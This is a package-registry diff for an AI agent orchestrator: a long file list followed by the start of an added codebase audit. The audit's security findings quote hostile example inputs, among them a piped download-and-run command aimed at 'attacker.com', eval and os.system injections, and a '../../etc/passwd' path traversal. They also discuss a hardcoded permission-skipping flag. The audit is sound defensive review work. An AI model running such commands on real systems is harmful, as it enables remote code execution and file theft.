@nathapp/nax 0.18.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.gitlab-ci.yml +96 -0
- package/BRIEF.md +140 -0
- package/CHANGELOG.md +60 -0
- package/CLAUDE.md +159 -0
- package/README.md +373 -0
- package/US-007-IMPLEMENTATION.md +139 -0
- package/bin/nax.ts +930 -0
- package/biome.json +14 -0
- package/bun.lock +168 -0
- package/bunfig.toml +11 -0
- package/docs/20260216-fix-plan-context-review.md +56 -0
- package/docs/20260216-relentless-vs-ngent-comparison.md +208 -0
- package/docs/20260216-v02-plan.md +136 -0
- package/docs/20260216-v02-review.md +685 -0
- package/docs/20260217-dogfood-findings.md +56 -0
- package/docs/20260217-p2-plus-plan.md +117 -0
- package/docs/20260217-partial-fixes-plan.md +62 -0
- package/docs/20260217-plan-analyze-spec.md +117 -0
- package/docs/20260217-post-impl-review.md +1137 -0
- package/docs/20260217-quick-wins-plan.md +66 -0
- package/docs/20260217-split-runner-plan.md +75 -0
- package/docs/20260217-v03-impl-plan.md +80 -0
- package/docs/20260217-v03-post-impl-review.md +589 -0
- package/docs/20260217-v04-impl-plan.md +86 -0
- package/docs/20260217-v05-post-impl-review.md +850 -0
- package/docs/20260217-v06-post-impl-review.md +817 -0
- package/docs/20260218-adr003-port-plan.md +151 -0
- package/docs/20260218-review-adr003-verification.md +175 -0
- package/docs/20260219-fix-plan-bug16-19.md +79 -0
- package/docs/20260219-fix-plan-bug20-22.md +114 -0
- package/docs/20260219-plan-llm-routing.md +116 -0
- package/docs/20260219-review-bug20-22-fixes.md +135 -0
- package/docs/20260219-routing-baseline-keyword.md +63 -0
- package/docs/20260220-plan-structured-logging-p1.md +80 -0
- package/docs/20260220-plan-structured-logging-p2.md +37 -0
- package/docs/20260220-review-llm-routing.md +180 -0
- package/docs/20260220-review-post-fix-llm-routing.md +70 -0
- package/docs/20260221-fix-plan-relevantfiles-split.md +101 -0
- package/docs/20260221-fix-plan-routing-mode.md +125 -0
- package/docs/20260221-review-v0.9-implementation.md +379 -0
- package/docs/20260222-fix-plan-v091-routing-isolation.md +197 -0
- package/docs/20260223-fix-plan-prompt-audit.md +62 -0
- package/docs/20260224-nax-roadmap-phases.md +189 -0
- package/docs/20260225-phase2-llm-service-layer.md +401 -0
- package/docs/20260225-review-v0.10.1.md +187 -0
- package/docs/20260303-v010-implementation-plan.md +165 -0
- package/docs/CLAUDE.md.bak +191 -0
- package/docs/ROADMAP.md +165 -0
- package/docs/SPEC-rectification.md +0 -0
- package/docs/SPEC.md +324 -0
- package/docs/US-001-plugin-loading-verification.md +152 -0
- package/docs/architecture-analysis.md +1076 -0
- package/docs/bugs/BUG-21-escalation-null-attempts.md +48 -0
- package/docs/bugs-from-dogfood-run-c.md +243 -0
- package/docs/code-review-20260228.md +612 -0
- package/docs/code-review-v0.15.0.md +629 -0
- package/docs/hook-lifecycle-test-plan.md +149 -0
- package/docs/releases/v0.11.0-and-earlier.md +20 -0
- package/docs/releases/v0.12.0.md +15 -0
- package/docs/releases/v0.13.0.md +14 -0
- package/docs/releases/v0.14.0.md +20 -0
- package/docs/releases/v0.14.1.md +36 -0
- package/docs/releases/v0.14.2.md +51 -0
- package/docs/releases/v0.14.3.md +174 -0
- package/docs/releases/v0.14.4.md +94 -0
- package/docs/releases/v0.15.0.md +502 -0
- package/docs/releases/v0.15.1.md +170 -0
- package/docs/releases/v0.15.3.md +193 -0
- package/docs/specs/status-file-v0.10.1.md +812 -0
- package/docs/v0.10-global-config.md +206 -0
- package/docs/v0.10-plugin-system.md +415 -0
- package/docs/v0.10-prompt-optimizer.md +234 -0
- package/docs/v0.3-spec.md +244 -0
- package/docs/v0.4-spec.md +140 -0
- package/docs/v0.5-spec.md +237 -0
- package/docs/v0.6-spec.md +371 -0
- package/docs/v0.7-spec.md +177 -0
- package/docs/v0.8-llm-routing.md +206 -0
- package/docs/v0.8-structured-logging.md +132 -0
- package/docs/v0.9.3-prompt-audit.md +112 -0
- package/examples/plugins/console-reporter/index.test.ts +207 -0
- package/examples/plugins/console-reporter/index.ts +110 -0
- package/nax/config.json +147 -0
- package/nax/features/bugfix-v0171/prd.json +52 -0
- package/nax/features/config-management/prd.json +108 -0
- package/nax/features/config-management/progress.txt +5 -0
- package/nax/features/diagnose/acceptance.test.ts +412 -0
- package/nax/features/diagnose/prd.json +41 -0
- package/nax/features/orchestration-fixes/prd.json +89 -0
- package/nax/features/orchestration-fixes/progress.txt +1 -0
- package/nax/features/plugin-integration/US-007-VERIFICATION.md +259 -0
- package/nax/features/plugin-integration/prd.json +208 -0
- package/nax/features/plugin-integration/progress.txt +5 -0
- package/nax/features/precheck/prd.json +205 -0
- package/nax/features/precheck/progress.txt +15 -0
- package/nax/features/structured-logging/prd.json +199 -0
- package/nax/features/unlock/prd.json +36 -0
- package/package.json +47 -0
- package/src/acceptance/fix-generator.ts +348 -0
- package/src/acceptance/generator.ts +282 -0
- package/src/acceptance/index.ts +30 -0
- package/src/acceptance/types.ts +79 -0
- package/src/agents/claude-decompose.ts +169 -0
- package/src/agents/claude-plan.ts +139 -0
- package/src/agents/claude.ts +324 -0
- package/src/agents/cost.ts +268 -0
- package/src/agents/index.ts +13 -0
- package/src/agents/registry.ts +48 -0
- package/src/agents/types-extended.ts +133 -0
- package/src/agents/types.ts +113 -0
- package/src/agents/validation.ts +69 -0
- package/src/analyze/classifier.ts +305 -0
- package/src/analyze/index.ts +16 -0
- package/src/analyze/scanner.ts +175 -0
- package/src/analyze/types.ts +51 -0
- package/src/cli/accept.ts +108 -0
- package/src/cli/analyze-parser.ts +284 -0
- package/src/cli/analyze.ts +207 -0
- package/src/cli/config.ts +561 -0
- package/src/cli/constitution.ts +109 -0
- package/src/cli/diagnose-analysis.ts +159 -0
- package/src/cli/diagnose-formatter.ts +87 -0
- package/src/cli/diagnose.ts +203 -0
- package/src/cli/generate.ts +127 -0
- package/src/cli/index.ts +37 -0
- package/src/cli/init.ts +188 -0
- package/src/cli/interact.ts +295 -0
- package/src/cli/plan.ts +198 -0
- package/src/cli/plugins.ts +111 -0
- package/src/cli/prompts.ts +295 -0
- package/src/cli/runs.ts +174 -0
- package/src/cli/status-cost.ts +151 -0
- package/src/cli/status-features.ts +338 -0
- package/src/cli/status.ts +13 -0
- package/src/commands/common.ts +171 -0
- package/src/commands/diagnose.ts +17 -0
- package/src/commands/index.ts +8 -0
- package/src/commands/logs.ts +384 -0
- package/src/commands/precheck.ts +86 -0
- package/src/commands/unlock.ts +96 -0
- package/src/config/defaults.ts +160 -0
- package/src/config/index.ts +22 -0
- package/src/config/loader.ts +121 -0
- package/src/config/merger.ts +147 -0
- package/src/config/path-security.ts +121 -0
- package/src/config/paths.ts +27 -0
- package/src/config/schema.ts +56 -0
- package/src/config/schemas.ts +286 -0
- package/src/config/types.ts +423 -0
- package/src/config/validate.ts +103 -0
- package/src/constitution/generator.ts +191 -0
- package/src/constitution/generators/aider.ts +41 -0
- package/src/constitution/generators/claude.ts +35 -0
- package/src/constitution/generators/cursor.ts +36 -0
- package/src/constitution/generators/opencode.ts +38 -0
- package/src/constitution/generators/types.ts +33 -0
- package/src/constitution/generators/windsurf.ts +36 -0
- package/src/constitution/index.ts +10 -0
- package/src/constitution/loader.ts +133 -0
- package/src/constitution/types.ts +31 -0
- package/src/context/auto-detect.ts +227 -0
- package/src/context/builder.ts +246 -0
- package/src/context/elements.ts +83 -0
- package/src/context/formatter.ts +107 -0
- package/src/context/generator.ts +129 -0
- package/src/context/generators/aider.ts +34 -0
- package/src/context/generators/claude.ts +28 -0
- package/src/context/generators/cursor.ts +28 -0
- package/src/context/generators/opencode.ts +30 -0
- package/src/context/generators/windsurf.ts +28 -0
- package/src/context/greenfield.ts +114 -0
- package/src/context/index.ts +33 -0
- package/src/context/injector.ts +279 -0
- package/src/context/test-scanner.ts +370 -0
- package/src/context/types.ts +98 -0
- package/src/errors.ts +67 -0
- package/src/execution/batching.ts +157 -0
- package/src/execution/crash-recovery.ts +373 -0
- package/src/execution/escalation/escalation.ts +44 -0
- package/src/execution/escalation/index.ts +13 -0
- package/src/execution/escalation/tier-escalation.ts +295 -0
- package/src/execution/escalation/tier-outcome.ts +158 -0
- package/src/execution/helpers.ts +38 -0
- package/src/execution/index.ts +45 -0
- package/src/execution/lifecycle/acceptance-loop.ts +272 -0
- package/src/execution/lifecycle/headless-formatter.ts +85 -0
- package/src/execution/lifecycle/index.ts +12 -0
- package/src/execution/lifecycle/parallel-lifecycle.ts +101 -0
- package/src/execution/lifecycle/precheck-runner.ts +140 -0
- package/src/execution/lifecycle/run-cleanup.ts +81 -0
- package/src/execution/lifecycle/run-completion.ts +129 -0
- package/src/execution/lifecycle/run-initialization.ts +141 -0
- package/src/execution/lifecycle/run-lifecycle.ts +312 -0
- package/src/execution/lifecycle/run-setup.ts +204 -0
- package/src/execution/lifecycle/story-hooks.ts +38 -0
- package/src/execution/lifecycle/story-size-prompts.ts +123 -0
- package/src/execution/lock.ts +115 -0
- package/src/execution/parallel-executor.ts +216 -0
- package/src/execution/parallel.ts +400 -0
- package/src/execution/pid-registry.ts +280 -0
- package/src/execution/pipeline-result-handler.ts +388 -0
- package/src/execution/post-verify-rectification.ts +188 -0
- package/src/execution/post-verify.ts +274 -0
- package/src/execution/progress.ts +25 -0
- package/src/execution/prompts.ts +127 -0
- package/src/execution/queue-handler.ts +109 -0
- package/src/execution/rectification.ts +13 -0
- package/src/execution/runner.ts +377 -0
- package/src/execution/sequential-executor.ts +388 -0
- package/src/execution/status-file.ts +264 -0
- package/src/execution/status-writer.ts +139 -0
- package/src/execution/story-context.ts +229 -0
- package/src/execution/test-output-parser.ts +14 -0
- package/src/execution/verification.ts +72 -0
- package/src/hooks/index.ts +2 -0
- package/src/hooks/runner.ts +286 -0
- package/src/hooks/types.ts +67 -0
- package/src/interaction/chain.ts +154 -0
- package/src/interaction/index.ts +60 -0
- package/src/interaction/init.ts +83 -0
- package/src/interaction/plugins/auto.ts +217 -0
- package/src/interaction/plugins/cli.ts +300 -0
- package/src/interaction/plugins/telegram.ts +384 -0
- package/src/interaction/plugins/webhook.ts +258 -0
- package/src/interaction/state.ts +171 -0
- package/src/interaction/triggers.ts +229 -0
- package/src/interaction/types.ts +163 -0
- package/src/logger/formatters.ts +84 -0
- package/src/logger/index.ts +16 -0
- package/src/logger/logger.ts +298 -0
- package/src/logger/types.ts +48 -0
- package/src/logging/formatter.ts +355 -0
- package/src/logging/index.ts +22 -0
- package/src/logging/types.ts +93 -0
- package/src/metrics/aggregator.ts +190 -0
- package/src/metrics/index.ts +14 -0
- package/src/metrics/tracker.ts +200 -0
- package/src/metrics/types.ts +109 -0
- package/src/optimizer/index.ts +62 -0
- package/src/optimizer/noop.optimizer.ts +24 -0
- package/src/optimizer/rule-based.optimizer.ts +248 -0
- package/src/optimizer/types.ts +53 -0
- package/src/pipeline/events.ts +130 -0
- package/src/pipeline/index.ts +19 -0
- package/src/pipeline/runner.ts +161 -0
- package/src/pipeline/stages/acceptance.ts +197 -0
- package/src/pipeline/stages/completion.ts +99 -0
- package/src/pipeline/stages/constitution.ts +63 -0
- package/src/pipeline/stages/context.ts +117 -0
- package/src/pipeline/stages/execution.ts +194 -0
- package/src/pipeline/stages/index.ts +62 -0
- package/src/pipeline/stages/optimizer.ts +74 -0
- package/src/pipeline/stages/prompt.ts +57 -0
- package/src/pipeline/stages/queue-check.ts +103 -0
- package/src/pipeline/stages/review.ts +181 -0
- package/src/pipeline/stages/routing.ts +81 -0
- package/src/pipeline/stages/verify.ts +100 -0
- package/src/pipeline/types.ts +167 -0
- package/src/plugins/index.ts +31 -0
- package/src/plugins/loader.ts +287 -0
- package/src/plugins/registry.ts +168 -0
- package/src/plugins/types.ts +327 -0
- package/src/plugins/validator.ts +352 -0
- package/src/prd/index.ts +172 -0
- package/src/prd/types.ts +202 -0
- package/src/precheck/checks-blockers.ts +391 -0
- package/src/precheck/checks-warnings.ts +142 -0
- package/src/precheck/checks.ts +30 -0
- package/src/precheck/index.ts +247 -0
- package/src/precheck/story-size-gate.ts +144 -0
- package/src/precheck/types.ts +31 -0
- package/src/queue/index.ts +2 -0
- package/src/queue/manager.ts +254 -0
- package/src/queue/types.ts +54 -0
- package/src/review/index.ts +8 -0
- package/src/review/runner.ts +172 -0
- package/src/review/types.ts +66 -0
- package/src/routing/builder.ts +81 -0
- package/src/routing/chain.ts +74 -0
- package/src/routing/index.ts +16 -0
- package/src/routing/loader.ts +58 -0
- package/src/routing/router.ts +303 -0
- package/src/routing/strategies/adaptive.ts +215 -0
- package/src/routing/strategies/index.ts +8 -0
- package/src/routing/strategies/keyword.ts +163 -0
- package/src/routing/strategies/llm-prompts.ts +209 -0
- package/src/routing/strategies/llm.ts +235 -0
- package/src/routing/strategies/manual.ts +50 -0
- package/src/routing/strategy.ts +99 -0
- package/src/tdd/cleanup.ts +111 -0
- package/src/tdd/index.ts +23 -0
- package/src/tdd/isolation.ts +123 -0
- package/src/tdd/orchestrator.ts +383 -0
- package/src/tdd/prompts.ts +270 -0
- package/src/tdd/rectification-gate.ts +183 -0
- package/src/tdd/session-runner.ts +179 -0
- package/src/tdd/types.ts +81 -0
- package/src/tdd/verdict.ts +271 -0
- package/src/tui/App.tsx +265 -0
- package/src/tui/components/AgentPanel.tsx +75 -0
- package/src/tui/components/CostOverlay.tsx +118 -0
- package/src/tui/components/HelpOverlay.tsx +107 -0
- package/src/tui/components/StatusBar.tsx +63 -0
- package/src/tui/components/StoriesPanel.tsx +177 -0
- package/src/tui/hooks/useKeyboard.ts +142 -0
- package/src/tui/hooks/useLayout.ts +137 -0
- package/src/tui/hooks/usePipelineEvents.ts +183 -0
- package/src/tui/hooks/usePty.ts +194 -0
- package/src/tui/index.tsx +38 -0
- package/src/tui/types.ts +76 -0
- package/src/utils/git.ts +83 -0
- package/src/utils/queue-writer.ts +54 -0
- package/src/verification/executor.ts +235 -0
- package/src/verification/gate.ts +207 -0
- package/src/verification/index.ts +12 -0
- package/src/verification/parser.ts +230 -0
- package/src/verification/rectification.ts +108 -0
- package/src/verification/types.ts +113 -0
- package/src/worktree/dispatcher.ts +65 -0
- package/src/worktree/index.ts +2 -0
- package/src/worktree/manager.ts +187 -0
- package/src/worktree/merge.ts +301 -0
- package/src/worktree/types.ts +4 -0
- package/test/TEST_COVERAGE_US001.md +217 -0
- package/test/TEST_COVERAGE_US003.md +84 -0
- package/test/TEST_COVERAGE_US005.md +86 -0
- package/test/US-002-orchestrator.test.ts +246 -0
- package/test/acceptance/cm-003-default-view.test.ts +194 -0
- package/test/execution/pid-registry.test.ts +240 -0
- package/test/execution/post-verify.test.ts +224 -0
- package/test/helpers/timeout.ts +42 -0
- package/test/integration/US-002-TEST-SUMMARY.md +107 -0
- package/test/integration/US-003-TEST-SUMMARY.md +149 -0
- package/test/integration/US-004-TEST-SUMMARY.md +106 -0
- package/test/integration/US-005-TEST-SUMMARY.md +138 -0
- package/test/integration/US-007-TEST-SUMMARY.md +100 -0
- package/test/integration/agent-validation.test.ts +439 -0
- package/test/integration/analyze-integration.test.ts +261 -0
- package/test/integration/analyze-scanner.test.ts +131 -0
- package/test/integration/cli-config-default-edge-cases.test.ts +222 -0
- package/test/integration/cli-config-default-view.test.ts +229 -0
- package/test/integration/cli-config-diff.test.ts +460 -0
- package/test/integration/cli-config.test.ts +736 -0
- package/test/integration/cli-diagnose.test.ts +592 -0
- package/test/integration/cli-logs.test.ts +314 -0
- package/test/integration/cli-plugins.test.ts +678 -0
- package/test/integration/cli-precheck.test.ts +371 -0
- package/test/integration/cli-run-headless.test.ts +173 -0
- package/test/integration/cli.test.ts +75 -0
- package/test/integration/config/merger.test.ts +465 -0
- package/test/integration/config/paths.test.ts +51 -0
- package/test/integration/config-loader.test.ts +265 -0
- package/test/integration/config.test.ts +444 -0
- package/test/integration/context-integration.test.ts +702 -0
- package/test/integration/context-provider-injection.test.ts +506 -0
- package/test/integration/context-verification-integration.test.ts +295 -0
- package/test/integration/e2e.test.ts +896 -0
- package/test/integration/execution.test.ts +625 -0
- package/test/integration/helpers.test.ts +295 -0
- package/test/integration/hooks.test.ts +361 -0
- package/test/integration/interaction-chain-pipeline.test.ts +464 -0
- package/test/integration/isolation.test.ts +143 -0
- package/test/integration/logger.test.ts +461 -0
- package/test/integration/parallel.test.ts +250 -0
- package/test/integration/path-security.test.ts +173 -0
- package/test/integration/pipeline-acceptance.test.ts +302 -0
- package/test/integration/pipeline-events.test.ts +475 -0
- package/test/integration/pipeline.test.ts +658 -0
- package/test/integration/plan.test.ts +157 -0
- package/test/integration/plugin-routing.test.ts +921 -0
- package/test/integration/plugins/config-integration.test.ts +172 -0
- package/test/integration/plugins/config-resolution.test.ts +522 -0
- package/test/integration/plugins/loader.test.ts +641 -0
- package/test/integration/plugins/registry.test.ts +746 -0
- package/test/integration/plugins/validator.test.ts +563 -0
- package/test/integration/prd-pause.test.ts +205 -0
- package/test/integration/prd-resolvers.test.ts +185 -0
- package/test/integration/precheck-integration.test.ts +468 -0
- package/test/integration/precheck.test.ts +805 -0
- package/test/integration/progress.test.ts +34 -0
- package/test/integration/rectification-flow.test.ts +512 -0
- package/test/integration/reporter-lifecycle.test.ts +860 -0
- package/test/integration/review-config-commands.test.ts +319 -0
- package/test/integration/review-config-schema.test.ts +116 -0
- package/test/integration/review-plugin-integration.test.ts +722 -0
- package/test/integration/review.test.ts +149 -0
- package/test/integration/routing-stage-bug-021.test.ts +274 -0
- package/test/integration/routing-stage-greenfield.test.ts +286 -0
- package/test/integration/runner-config-plugins.test.ts +461 -0
- package/test/integration/runner-fixes.test.ts +399 -0
- package/test/integration/runner-plugin-integration.test.ts +543 -0
- package/test/integration/runner.test.ts +1679 -0
- package/test/integration/s5-greenfield-fallback.test.ts +297 -0
- package/test/integration/status-file-integration.test.ts +325 -0
- package/test/integration/status-file.test.ts +379 -0
- package/test/integration/status-writer.test.ts +345 -0
- package/test/integration/story-id-in-events.test.ts +273 -0
- package/test/integration/tdd-cleanup.test.ts +246 -0
- package/test/integration/tdd-orchestrator.test.ts +1762 -0
- package/test/integration/test-scanner.test.ts +403 -0
- package/test/integration/verification-asset-check.test.ts +142 -0
- package/test/integration/verify-stage.test.ts +275 -0
- package/test/integration/worktree/manager.test.ts +218 -0
- package/test/integration/worktree/merge.test.ts +341 -0
- package/test/manual/logging-formatter-demo.ts +158 -0
- package/test/ui/tui-agent-panel.test.tsx +99 -0
- package/test/ui/tui-controls.test.ts +334 -0
- package/test/ui/tui-cost-and-pty.test.ts +189 -0
- package/test/ui/tui-layout.test.ts +378 -0
- package/test/ui/tui-pty-integration.test.tsx +159 -0
- package/test/ui/tui-stories.test.ts +332 -0
- package/test/unit/acceptance.test.ts +186 -0
- package/test/unit/agent-stderr-capture.test.ts +146 -0
- package/test/unit/analyze-classifier.test.ts +215 -0
- package/test/unit/analyze.test.ts +224 -0
- package/test/unit/auto-detect.test.ts +249 -0
- package/test/unit/cli-status.test.ts +417 -0
- package/test/unit/commands/common.test.ts +320 -0
- package/test/unit/commands/logs.test.ts +416 -0
- package/test/unit/commands/unlock.test.ts +319 -0
- package/test/unit/constitution-generators.test.ts +160 -0
- package/test/unit/constitution.test.ts +209 -0
- package/test/unit/context.test.ts +1722 -0
- package/test/unit/cost.test.ts +231 -0
- package/test/unit/crash-recovery.test.ts +308 -0
- package/test/unit/escalation.test.ts +126 -0
- package/test/unit/execution-logging-stderr.test.ts +156 -0
- package/test/unit/execution-stage.test.ts +122 -0
- package/test/unit/fix-generator.test.ts +275 -0
- package/test/unit/formatters.test.ts +469 -0
- package/test/unit/greenfield.test.ts +179 -0
- package/test/unit/helpers.test.ts +317 -0
- package/test/unit/interaction/human-review-trigger.test.ts +164 -0
- package/test/unit/interaction-network-failures.test.ts +389 -0
- package/test/unit/interaction-plugins.test.ts +164 -0
- package/test/unit/isolation.test.ts +134 -0
- package/test/unit/logging/formatter.test.ts +455 -0
- package/test/unit/merge.test.ts +268 -0
- package/test/unit/metrics.test.ts +276 -0
- package/test/unit/optimizer/noop.optimizer.test.ts +125 -0
- package/test/unit/optimizer/rule-based.optimizer.test.ts +358 -0
- package/test/unit/prd-auto-default.test.ts +290 -0
- package/test/unit/prd-failure-category.test.ts +176 -0
- package/test/unit/prd-get-next-story.test.ts +186 -0
- package/test/unit/precheck-checks.test.ts +840 -0
- package/test/unit/precheck-story-size-gate.test.ts +287 -0
- package/test/unit/precheck-types.test.ts +142 -0
- package/test/unit/prompts.test.ts +475 -0
- package/test/unit/queue.test.ts +237 -0
- package/test/unit/rectification.test.ts +284 -0
- package/test/unit/registry.test.ts +287 -0
- package/test/unit/routing.test.ts +937 -0
- package/test/unit/run-lifecycle.test.ts +140 -0
- package/test/unit/storyid-events.test.ts +224 -0
- package/test/unit/tdd-verdict.test.ts +492 -0
- package/test/unit/test-output-parser.test.ts +377 -0
- package/test/unit/verdict.test.ts +324 -0
- package/test/unit/worktree-manager.test.ts +158 -0
- package/tsconfig.json +27 -0
|
@@ -0,0 +1,612 @@
|
|
|
1
|
+
# NAX Codebase Audit -- 2026-02-28
|
|
2
|
+
|
|
3
|
+
**Auditor:** Claude Opus 4.6 (code-reviewer agent)
|
|
4
|
+
**Scope:** Full src/ directory -- 27,333 lines across 130 TypeScript files
|
|
5
|
+
**Verdict:** Grade C- (Conditional Pass with Mandatory Fixes)
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Executive Summary
|
|
10
|
+
|
|
11
|
+
nax is a well-architected AI agent orchestrator with solid domain modeling
|
|
12
|
+
(pipeline stages, routing strategies, plugin system). The Zod-validated
|
|
13
|
+
config, path-security module, and structured error classes show mature
|
|
14
|
+
engineering judgment. However, several critical issues must be resolved
|
|
15
|
+
before any production release:
|
|
16
|
+
|
|
17
|
+
1. **`--dangerously-skip-permissions` is hardcoded** in the agent adapter,
|
|
18
|
+
bypassing all safety controls in every execution.
|
|
19
|
+
2. **runner.ts at 1,685 lines** is a maintenance hazard -- duplicated logic
|
|
20
|
+
with story-dispatcher.ts creates divergence risk.
|
|
21
|
+
3. **Crash handler captures stale closure values** for cost/iterations,
|
|
22
|
+
meaning crash status files will contain incorrect data.
|
|
23
|
+
4. **Lock file has a TOCTOU race** between checking existence and writing.
|
|
24
|
+
5. **LLM routing cache is a module-level Map** with no size limit, growing
|
|
25
|
+
unboundedly across stories.
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## Findings
|
|
30
|
+
|
|
31
|
+
### SECURITY
|
|
32
|
+
|
|
33
|
+
```
|
|
34
|
+
[SEC-1] CRITICAL -- Hardcoded --dangerously-skip-permissions
|
|
35
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:140
|
|
36
|
+
Issue: Every agent invocation passes --dangerously-skip-permissions to
|
|
37
|
+
Claude Code CLI. This disables all permission prompts and safety
|
|
38
|
+
checks. The flag is not configurable -- it is hardcoded into
|
|
39
|
+
buildCommand().
|
|
40
|
+
Fix: Make this configurable via NaxConfig. Default to a safer mode
|
|
41
|
+
(e.g., --permission-mode allowedTools) and only allow
|
|
42
|
+
--dangerously-skip-permissions via explicit opt-in in config.
|
|
43
|
+
|
|
44
|
+
// Current (dangerous)
|
|
45
|
+
return [this.binary, "--model", model, "--dangerously-skip-permissions", "-p", options.prompt];
|
|
46
|
+
|
|
47
|
+
// Proposed
|
|
48
|
+
const permFlag = options.dangerouslySkipPermissions
|
|
49
|
+
? "--dangerously-skip-permissions"
|
|
50
|
+
: "--permission-mode";
|
|
51
|
+
return [this.binary, "--model", model, permFlag, "-p", options.prompt];
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
```
|
|
55
|
+
[SEC-2] HIGH -- Plugin loader executes arbitrary code via dynamic import
|
|
56
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/loader.ts:203
|
|
57
|
+
Issue: loadAndValidatePlugin() calls `await import(modulePath)` on
|
|
58
|
+
user-provided paths from config.plugins[].module. While the
|
|
59
|
+
validator checks the plugin shape AFTER import, the import itself
|
|
60
|
+
executes top-level module code unconditionally. A malicious plugin
|
|
61
|
+
module can run arbitrary code at import time.
|
|
62
|
+
Fix: Document the security boundary clearly. Consider sandboxing plugin
|
|
63
|
+
imports or at minimum validating the path is within expected
|
|
64
|
+
directories before importing. Add a "trusted plugins" allowlist.
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
```
|
|
68
|
+
[SEC-3] HIGH -- Hook commands are not fully sandboxed
|
|
69
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/hooks/runner.ts:120-136
|
|
70
|
+
Issue: validateHookCommand() rejects only a small set of patterns ($(..),
|
|
71
|
+
backticks, rm -rf). Sophisticated injection is still possible:
|
|
72
|
+
- eval "malicious code"
|
|
73
|
+
- curl attacker.com | python
|
|
74
|
+
- python -c "import os; os.system('...')"
|
|
75
|
+
The parseCommandToArgv() function splits on whitespace, which does
|
|
76
|
+
not properly handle quoted arguments (e.g., commands with spaces in
|
|
77
|
+
file paths will break).
|
|
78
|
+
Fix: Use a proper command parser or restrict hooks to a predefined set
|
|
79
|
+
of allowed commands/binaries. Consider using an allowlist approach
|
|
80
|
+
rather than a blocklist.
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
```
|
|
84
|
+
[SEC-4] MEDIUM -- Environment variable leakage to spawned agents
|
|
85
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:226-229
|
|
86
|
+
Issue: The agent process inherits the full process.env via spread
|
|
87
|
+
operator. This could leak sensitive environment variables (database
|
|
88
|
+
credentials, API keys from other services) to the spawned claude
|
|
89
|
+
process and any code it generates/executes.
|
|
90
|
+
Fix: Create an explicit allowlist of environment variables to pass
|
|
91
|
+
through, rather than passing all of process.env.
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
```
|
|
95
|
+
[SEC-5] MEDIUM -- No path validation on constitution/hook file paths
|
|
96
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/constitution/loader.ts:77-88
|
|
97
|
+
Issue: Constitution paths are joined from config without validation
|
|
98
|
+
against the path-security module. A config with
|
|
99
|
+
constitution.path = "../../etc/passwd" could read arbitrary files.
|
|
100
|
+
The path-security module exists but is not used here.
|
|
101
|
+
Fix: Use validateFilePath() from path-security.ts before reading
|
|
102
|
+
constitution files.
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
### BUGS
|
|
106
|
+
|
|
107
|
+
```
|
|
108
|
+
[BUG-1] CRITICAL -- Crash handler captures stale cost/iteration values
|
|
109
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:216-222
|
|
110
|
+
Issue: installCrashHandlers() receives ctx.totalCost and ctx.iterations
|
|
111
|
+
as VALUES, not closures. The signal handler will always write the
|
|
112
|
+
initial values (0 and 0) to the crash status, regardless of how
|
|
113
|
+
far the run progressed.
|
|
114
|
+
|
|
115
|
+
installCrashHandlers({
|
|
116
|
+
statusWriter,
|
|
117
|
+
totalCost, // <-- captured as 0 at installation time
|
|
118
|
+
iterations, // <-- captured as 0 at installation time
|
|
119
|
+
...
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
Compare with startHeartbeat() which correctly uses closure getters:
|
|
123
|
+
() => totalCost,
|
|
124
|
+
() => iterations,
|
|
125
|
+
|
|
126
|
+
Fix: Pass closures instead of values:
|
|
127
|
+
installCrashHandlers({
|
|
128
|
+
statusWriter,
|
|
129
|
+
get totalCost() { return totalCost; },
|
|
130
|
+
get iterations() { return iterations; },
|
|
131
|
+
...
|
|
132
|
+
});
|
|
133
|
+
Or refactor CrashRecoveryContext to accept getter functions.
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
```
|
|
137
|
+
[BUG-2] HIGH -- TOCTOU race in lock file acquisition
|
|
138
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:311-346
|
|
139
|
+
Issue: acquireLock() checks if the lock file exists, then writes it.
|
|
140
|
+
Between the check and write, another process can also check and
|
|
141
|
+
find no lock, leading to two processes both believing they
|
|
142
|
+
acquired the lock. The lock mechanism uses Bun.write which is
|
|
143
|
+
not atomic.
|
|
144
|
+
Fix: Use an atomic file creation approach:
|
|
145
|
+
- On POSIX: use O_CREAT | O_EXCL flags (exclusive create)
|
|
146
|
+
- Or use a proper advisory lock (flock/lockfile)
|
|
147
|
+
- Or use mkdir as a lock (mkdir is atomic on most filesystems)
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
```
|
|
151
|
+
[BUG-3] HIGH -- Massive code duplication between runner.ts and story-dispatcher.ts
|
|
152
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts
|
|
153
|
+
File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/story-dispatcher.ts
|
|
154
|
+
Issue: story-dispatcher.ts contains 765 lines that duplicate nearly all
|
|
155
|
+
the logic in runner.ts. Both files define:
|
|
156
|
+
- applyCachedRouting() (identical)
|
|
157
|
+
- tryLlmBatchRoute() (identical)
|
|
158
|
+
- resolveMaxAttemptsOutcome() (identical)
|
|
159
|
+
- The entire escalation/pause/fail/skip switch-case logic
|
|
160
|
+
However, runner.ts has additional features (S5 greenfield-no-tests
|
|
161
|
+
test-after fallback, BUG-011 tier reset) that story-dispatcher.ts
|
|
162
|
+
